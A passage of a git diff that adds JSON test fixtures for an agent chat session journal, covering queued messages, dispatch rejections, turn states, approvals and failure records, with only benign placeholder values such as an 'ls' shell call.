"{\"kind\":\"item\",\"itemId\":\"codex:thread-1:turn-4:0\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"turn-4\",\"state\":\"running\"},\"v\":3,\"epoch\":\"epoch-1\",\"seq\":22,\"fence\":1,\"ts\":1022,\"ownerFence\":1,\"turnScope\":{\"kind\":\"thread\"}}", + "{\"kind\":\"tombstone\",\"itemId\":\"codex:thread-1:turn-4:0\",\"revision\":2,\"v\":2,\"epoch\":\"epoch-1\",\"seq\":23,\"fence\":1,\"ts\":1023}", + "{\"kind\":\"queue\",\"messageId\":\"card-3\",\"change\":{\"op\":\"queued\",\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Hand this over\"}]},\"position\":2,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":23}},\"v\":4,\"epoch\":\"epoch-1\",\"seq\":24,\"fence\":1,\"ts\":1024}", + "{\"kind\":\"submission\",\"clientMessageId\":\"send-2\",\"payloadFingerprint\":\"d6988eb76aa81c64728f527ffa51b1ff309e9657db975fd77f115c01e7da3f61\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Hand this over\"}]},\"v\":2,\"epoch\":\"epoch-1\",\"seq\":25,\"fence\":1,\"ts\":1025,\"handoverRecorded\":true,\"queuedMessageId\":\"card-3\"}", + "{\"kind\":\"dispatch\",\"clientMessageId\":\"send-2\",\"state\":\"pending\",\"providerItemId\":null,\"reason\":null,\"v\":2,\"epoch\":\"epoch-1\",\"seq\":26,\"fence\":1,\"ts\":1026,\"turnScope\":{\"kind\":\"thread\"},\"carries\":[\"send-1\"]}", + "{\"kind\":\"dispatch\",\"clientMessageId\":\"send-2\",\"state\":\"rejected\",\"providerItemId\":null,\"reason\":\"provider_cancelled_before_start\",\"rejection\":{\"kind\":\"cancelled\"},\"answeredInTurn\":null,\"v\":2,\"epoch\":\"epoch-1\",\"seq\":27,\"fence\":1,\"ts\":1027}" + ], + "expected": { + "sessionId": "session-1", + "epoch": "epoch-1", + "lastSequence": 27, + "lastActivityAt": 1027, + "oldestSequence": 1, + "highestFence": 1, + "items": [ + [ + "orca:send-1", + { + "itemId": "orca:send-1", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 3, + "observedAt": 1003, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:0", + { + "itemId": "codex:thread-1:turn-1:0", + "revision": 2, + "body": { + "kind": "turn", + "turnId": "turn-1", + "state": "interrupted", + "userItemId": "orca:send-1", + "startedAt": 1004, + "requestedAt": 1002, + "completedAt": 1014, + "contextUsage": { + "window": { + "tokens": 200000, + "capturedAt": 1014 + }, + "used": { + "kind": "estimate", + "usage": { + "inputTokens": 10, + "cacheCreationInputTokens": 0, + "cacheReadInputTokens": 0, + "outputTokens": 5 + }, + "capturedAt": 1014 + } + } + }, + "sequence": 4, + "observedAt": 1004, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:3", + { + "itemId": "codex:thread-1:turn-1:3", + "revision": 2, + "body": { + "kind": "tool-call", + "name": "shell", + "input": { + "command": "ls" + }, + "callId": "call-2", + "state": "completed", + "endedAs": "completed", + "exitCode": 0 + }, + "sequence": 7, + "observedAt": 1007, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:0" + }, + "agentId": "child-1", + "producerKind": "agent" + } + ], + [ + "codex:thread-1:turn-2:0", + { + "itemId": "codex:thread-1:turn-2:0", + "revision": 1, + "body": { + "kind": "approval", + "title": "Run shell?", + "detail": null, + "options": [ + { + "id": "yes", + "label": "Yes" + } + ], + "subject": { + "kind": "plan", + "text": "Plan" + }, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "resolvedBy": "client", + "resolvedAt": 1017 + } + }, + "sequence": 17, + "observedAt": 1017, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-2:1", + { + "itemId": "codex:thread-1:turn-2:1", + "revision": 1, + "body": { + "kind": "status", + "text": "The agent stopped.", + "failure": { + "kind": "providerExited", + "detail": { + "text": "exit 1", + "audience": "log" + } + } + }, + "sequence": 19, + "observedAt": 1019, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-3:0", + { + "itemId": "codex:thread-1:turn-3:0", + "revision": 1, + "body": { + "kind": "turn", + "turnId": "turn-3", + "state": "running" + }, + "sequence": 20, + "observedAt": 1020, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-3:1", + { + "itemId": "codex:thread-1:turn-3:1", + "revision": 1, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "Echoed" + } + ] + }, + "sequence": 21, + "observedAt": 1021, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-3:0" + } + } + ], + [ + "orca:send-2", + { + "itemId": "orca:send-2", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Hand this over" + } + ] + }, + "sequence": 26, + "observedAt": 1026, + "turnScope": { + "kind": "thread" + } + } + ] + ], + "itemFences": [ + ["orca:send-1", 1], + ["codex:thread-1:turn-1:0", 1], + ["codex:thread-1:turn-1:3", 1], + ["codex:thread-1:turn-2:0", 1], + ["codex:thread-1:turn-2:1", 1], + ["codex:thread-1:turn-3:0", 1], + ["codex:thread-1:turn-3:1", 1], + ["orca:send-2", 1] + ], + "itemExecutionOwners": [["codex:thread-1:turn-3:0", 2]], + "providerActivityAt": [ + [1, 1022], + [2, 1020] + ], + "tombstones": [ + ["codex:thread-1:turn-1:2", 2], + ["codex:thread-1:turn-4:0", 2] + ], + "removedTurnIds": ["turn-4"], + "submissions": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "fence": 1, + "payloadFingerprint": "f1", + "dispatchState": "accepted", + "providerItemId": "codex:thread-1:turn-1:1", + "reason": null, + "submittedAt": 1002, + "resolvedAt": 1005, + "submittedSequence": 2, + "handoverRecorded": true, + "acceptedSequence": 2, + "origin": "client", + "options": { + "model": "gpt-5", + "effort": "high" + }, + "handedOverAt": 1003 + } + ], + [ + "send-2", + { + "clientMessageId": "send-2", + "fence": 1, + "payloadFingerprint": "d6988eb76aa81c64728f527ffa51b1ff309e9657db975fd77f115c01e7da3f61", + "dispatchState": "rejected", + "providerItemId": null, + "reason": "provider_cancelled_before_start", + "submittedAt": 1025, + "resolvedAt": 1027, + "submittedSequence": 25, + "handoverRecorded": true, + "acceptedSequence": 25, + "handedOverAt": 1026, + "rejection": { + "kind": "cancelled" + }, + "answeredInTurn": null + } + ] + ], + "receipts": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "providerItemId": "codex:thread-1:turn-1:1", + "cursor": { + "epoch": "epoch-1", + "sequence": 5 + }, + "acceptedAt": 1005 + } + ] + ], + "aliases": [["codex:thread-1:turn-1:1", "orca:send-1"]], + "itemEchoes": [["codex:thread-1:turn-3:1", null]], + "appliedSettlementIds": ["settle-1"], + "derivedTurnScope": null, + "latestAcceptedTurnSequence": 2, + "queuePauseMarks": { + "latestStop": { + "sequence": 13, + "event": { + "reason": "user-stop", + "turnId": "turn-1", + "at": 1013, + "caller": "client" + } + }, + "resumedSequence": 16, + "reopenedSequence": 0 + }, + "stoppedHistoryCarried": [["send-2", ["send-1"]]], + "queuedHandOffPlaces": [ + [ + "send-2", + { + "sequence": 26, + "observedAt": 1026, + "turnScope": { + "kind": "thread" + } + } + ] + ], + "normalizedHandOffs": ["send-2"], + "queue": { + "revision": 8, + "cards": [ + [ + "card-1", + { + "messageId": "card-1", + "position": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate both" + } + ] + }, + "fingerprint": "62f92d8004a31a5be6ee414930186d2097897cbbbb53e1e3607e6b2719b912f9", + "state": "withdrawn", + "holdReason": null, + "returnedReason": null, + "returnedRejection": null, + "consumedAs": null, + "queuedAt": { + "epoch": "epoch-1", + "sequence": 9 + }, + "options": { + "model": "gpt-5" + } + } + ], + [ + "card-2", + { + "messageId": "card-2", + "position": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "fingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "state": "waiting", + "holdReason": "send_failed", + "returnedReason": null, + "returnedRejection": null, + "consumedAs": null, + "queuedAt": { + "epoch": "epoch-1", + "sequence": 11 + } + } + ], + [ + "card-3", + { + "messageId": "card-3", + "position": 2, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Hand this over" + } + ] + }, + "fingerprint": "d6988eb76aa81c64728f527ffa51b1ff309e9657db975fd77f115c01e7da3f61", + "state": "dispatched", + "holdReason": null, + "returnedReason": null, + "returnedRejection": null, + "consumedAs": "send-2", + "queuedAt": { + "epoch": "epoch-1", + "sequence": 23 + } + } + ] + ] + }, + "historyOrigin": { + "providerHandle": { + "kind": "codex", + "threadId": "thread-1" + }, + "raw": { + "version": 1, + "kind": "legacy_import" + } + } + } +} diff --git a/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json new file mode 100644 index 00000000000..1c8d4af930d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json @@ -0,0 +1,1178 @@ +[ + [ + "items", + "\"item-0\"", + { + "itemId": "item-0", + "revision": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Stopped", + "presentation": "status", + "tone": "warning", + "providerFrame": { + "provider": "codex", + "kind": "event", + "payload": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "contextClear": { + "operationId": "clear-1", + "afterFence": 1, + "clearedAt": 4 + }, + "failure": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "orcaStop": { + "cause": "user", + "turnItemId": "turn-item" + }, + "usageLimitTurnItemId": "turn-item" + }, + { + "type": "tool-call", + "name": "shell", + "input": { + "command": ["ls"] + }, + "callId": "call-1", + "state": "completed", + "endedAs": "completed", + "mcpIdentity": { + "server": "s", + "tool": "t" + }, + "exitCode": 0, + "durationMs": 5, + "webSearchResults": [ + { + "title": "t", + "url": "https://example.com" + } + ] + }, + { + "type": "tool-result", + "output": "ok", + "isError": false, + "callId": "call-1", + "fullOutputItemId": "full-1", + "editPatch": { + "filePath": "a.ts", + "hunks": [ + { + "oldStart": 1, + "oldLines": 1, + "newStart": 1, + "newLines": 2, + "lines": ["-a", "+a", "+b"] + } + ] + } + }, + { + "type": "image-ref", + "path": "/tmp/a.png", + "alt": "a" + }, + { + "type": "subagent-group", + "groupId": "g", + "agents": [ + { + "id": "c", + "label": "child", + "state": "working", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ] + }, + { + "type": "subagent", + "id": "c", + "label": "child", + "state": "completed", + "groupId": "g", + "parentId": "p", + "run": "r", + "outcomeBasis": "stop-acknowledged", + "background": true + }, + { + "type": "background-task", + "taskId": "t", + "kind": "command", + "label": "build", + "state": "running", + "parentToolUseId": "call-1", + "summary": "s", + "error": "e", + "outputFile": "/tmp/o", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ], + "sentAs": "steer", + "command": { + "name": "compact" + }, + "skills": [ + { + "name": "s", + "path": "/s" + } + ], + "state": "completed", + "completedAt": 3, + "from": { + "kind": "agent", + "senders": [ + { + "party": { + "address": "term_worker", + "terminalHandle": "term_worker", + "orcaSessionId": null + }, + "name": "Worker", + "relation": "worker" + } + ], + "orchestration": { + "message": "mail-notice", + "mailbox": "m", + "dispatchId": null, + "messages": [ + { + "messageId": "m1", + "runId": "r1", + "from": "term_worker" + } + ] + } + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-1\"", + { + "itemId": "item-1", + "revision": 1, + "body": { + "kind": "agent-start", + "dispatchId": "d", + "task": "do it", + "worker": { + "party": { + "address": "term_worker", + "terminalHandle": "term_worker", + "orcaSessionId": null + }, + "name": "Worker", + "relation": "worker" + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-2\"", + { + "itemId": "item-2", + "revision": 1, + "body": { + "kind": "tool-call", + "name": "shell", + "input": {}, + "callId": "call-2", + "state": "running", + "endedAs": "interrupted", + "output": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + }, + "mcpIdentity": { + "server": "s", + "tool": "t" + }, + "exitCode": 1, + "durationMs": 2, + "webSearchResults": [] + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-3\"", + { + "itemId": "item-3", + "revision": 1, + "body": { + "kind": "diff", + "path": "a.ts", + "patch": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-4\"", + { + "itemId": "item-4", + "revision": 1, + "body": { + "kind": "approval", + "title": "Approve?", + "displayName": "Shell", + "description": "d", + "decisionReason": "r", + "blockedPath": "/b", + "matchedAskRule": { + "source": "settings", + "toolName": "Bash", + "ruleContent": "ls" + }, + "subject": { + "kind": "plan", + "text": "Plan", + "filePath": "/p" + }, + "detail": null, + "options": [ + { + "id": "yes", + "label": "Yes", + "description": "d" + } + ], + "resolution": { + "state": "answered", + "selectedOptionId": null, + "answers": [ + { + "questionId": "q1", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-5\"", + { + "itemId": "item-5", + "revision": 1, + "body": { + "kind": "question", + "question": "Which?", + "options": [ + { + "id": "a", + "label": "A" + } + ], + "questions": [ + { + "id": "q1", + "question": "Which?", + "header": "H", + "multiSelect": false, + "options": [ + { + "id": "a", + "label": "A" + } + ], + "freeTextQuestionId": "f", + "freeTextInput": { + "allowEmpty": true, + "multiline": true, + "initialValue": "", + "placeholder": "p" + } + } + ], + "freeTextQuestionId": "f", + "freeTextInput": { + "multiline": false + }, + "resolution": { + "state": "answered", + "selectedOptionId": null, + "answers": [ + { + "questionId": "q1", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-6\"", + { + "itemId": "item-6", + "revision": 1, + "body": { + "kind": "status", + "text": "The agent could not start.", + "presentation": "notice", + "tone": "error", + "contextClear": { + "operationId": "clear-1", + "afterFence": 1, + "clearedAt": 4 + }, + "turnLifecycle": { + "turnId": "turn-1", + "state": "completed", + "outcome": "success", + "userItemId": "orca:send-1", + "startedAt": 2, + "requestedAt": 1, + "completedAt": 3, + "durationMs": 1, + "contextUsage": { + "window": { + "tokens": 200000, + "capturedAt": 7 + }, + "used": { + "kind": "report", + "model": "gpt", + "usedTokens": 10, + "windowTokens": 200000, + "percentage": 1, + "autoCompactAtTokens": 180000, + "categories": [ + { + "name": "Messages", + "tokens": 10, + "deferred": true + } + ], + "capturedAt": 7 + } + }, + "providerTurnId": "provider-turn-1" + }, + "providerFrame": { + "provider": "codex", + "kind": "event", + "payload": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "threadGoal": { + "state": "set", + "goal": { + "objective": "o", + "status": "active", + "tokenBudget": null, + "tokensUsed": 1, + "timeUsedSeconds": 2, + "createdAt": 1, + "updatedAt": 2 + } + }, + "failure": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "orcaStop": { + "cause": "user" + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-7\"", + { + "itemId": "item-7", + "revision": 1, + "body": { + "kind": "turn", + "turnId": "turn-1", + "state": "completed", + "outcome": "success", + "userItemId": "orca:send-1", + "startedAt": 2, + "requestedAt": 1, + "completedAt": 3, + "durationMs": 1, + "contextUsage": { + "window": { + "tokens": 200000, + "capturedAt": 7 + }, + "used": { + "kind": "report", + "model": "gpt", + "usedTokens": 10, + "windowTokens": 200000, + "percentage": 1, + "autoCompactAtTokens": 180000, + "categories": [ + { + "name": "Messages", + "tokens": 10, + "deferred": true + } + ], + "capturedAt": 7 + } + }, + "providerTurnId": "provider-turn-1" + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "submissions", + "\"send-1\"", + [ + "send-1", + { + "clientMessageId": "send-1", + "fence": 1, + "payloadFingerprint": "f", + "dispatchState": "rejected", + "providerItemId": null, + "reason": "refused", + "rejection": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "submittedAt": 1, + "resolvedAt": 2, + "submittedSequence": 3, + "answeredInTurn": { + "turnItemId": "t", + "via": "start" + }, + "recovered": true, + "handoverRecorded": true, + "handedOverAt": 2, + "acceptedSequence": 4, + "queuedMessageId": "card-1", + "origin": "client", + "source": { + "kind": "agent" + }, + "keptAsQueuedMessageId": "card-1", + "options": { + "model": "m", + "effort": "high", + "personality": "p", + "fastMode": "true", + "serviceTier": "t" + } + } + ] + ], + [ + "queue.cards", + "\"card-1\"", + [ + "card-1", + { + "messageId": "card-1", + "position": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Stopped", + "presentation": "status", + "tone": "warning", + "providerFrame": { + "provider": "codex", + "kind": "event", + "payload": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "contextClear": { + "operationId": "clear-1", + "afterFence": 1, + "clearedAt": 4 + }, + "failure": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "orcaStop": { + "cause": "user", + "turnItemId": "turn-item" + }, + "usageLimitTurnItemId": "turn-item" + }, + { + "type": "tool-call", + "name": "shell", + "input": { + "command": ["ls"] + }, + "callId": "call-1", + "state": "completed", + "endedAs": "completed", + "mcpIdentity": { + "server": "s", + "tool": "t" + }, + "exitCode": 0, + "durationMs": 5, + "webSearchResults": [ + { + "title": "t", + "url": "https://example.com" + } + ] + }, + { + "type": "tool-result", + "output": "ok", + "isError": false, + "callId": "call-1", + "fullOutputItemId": "full-1", + "editPatch": { + "filePath": "a.ts", + "hunks": [ + { + "oldStart": 1, + "oldLines": 1, + "newStart": 1, + "newLines": 2, + "lines": ["-a", "+a", "+b"] + } + ] + } + }, + { + "type": "image-ref", + "path": "/tmp/a.png", + "alt": "a" + }, + { + "type": "subagent-group", + "groupId": "g", + "agents": [ + { + "id": "c", + "label": "child", + "state": "working", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ] + }, + { + "type": "subagent", + "id": "c", + "label": "child", + "state": "completed", + "groupId": "g", + "parentId": "p", + "run": "r", + "outcomeBasis": "stop-acknowledged", + "background": true + }, + { + "type": "background-task", + "taskId": "t", + "kind": "command", + "label": "build", + "state": "running", + "parentToolUseId": "call-1", + "summary": "s", + "error": "e", + "outputFile": "/tmp/o", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ], + "sentAs": "steer", + "command": { + "name": "compact" + }, + "skills": [ + { + "name": "s", + "path": "/s" + } + ], + "state": "completed", + "completedAt": 3, + "from": { + "kind": "agent", + "senders": [ + { + "party": { + "address": "term_worker", + "terminalHandle": "term_worker", + "orcaSessionId": null + }, + "name": "Worker", + "relation": "worker" + } + ], + "orchestration": { + "message": "mail-notice", + "mailbox": "m", + "dispatchId": null, + "messages": [ + { + "messageId": "m1", + "runId": "r1", + "from": "term_worker" + } + ] + } + } + }, + "fingerprint": "f", + "state": "returned", + "holdReason": null, + "returnedReason": "refused", + "returnedRejection": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "consumedAs": null, + "queuedAt": { + "epoch": "epoch-1", + "sequence": 2 + }, + "options": { + "model": "m" + } + } + ] + ] +] diff --git a/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json new file mode 100644 index 00000000000..4e400c0a4c2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json @@ -0,0 +1,894 @@ +{ + "sessionId": "session-1", + "epoch": "epoch-1", + "through": 21, + "marker": "{\"v\":5,\"kind\":\"outcomes\",\"epoch\":\"epoch-1\",\"seq\":1,\"ts\":1001}", + "outcomes": [ + [1, "$", "\"derivedTurnScope\"", 1, "s0000000000000001:0000000000000006", "null", 0], + [1, "$", "\"epoch\"", 1, "s0000000000000001:0000000000000001", "\"epoch-1\"", 0], + [1, "$", "\"highestFence\"", 1, "s0000000000000001:0000000000000005", "1", 0], + [ + 1, + "$", + "\"historyOrigin\"", + 1, + "s0000000000000001:0000000000000010", + "{\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"raw\":{\"version\":1,\"kind\":\"legacy_import\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"importedAt\":1001}}", + 0 + ], + [1, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "0", 0], + [1, "$", "\"latestAcceptedTurnSequence\"", 1, "s0000000000000001:0000000000000007", "0", 0], + [1, "$", "\"oldestSequence\"", 1, "s0000000000000001:0000000000000004", "1", 0], + [1, "$", "\"queue\"", 1, "s0000000000000001:0000000000000009", "{\"revision\":0}", 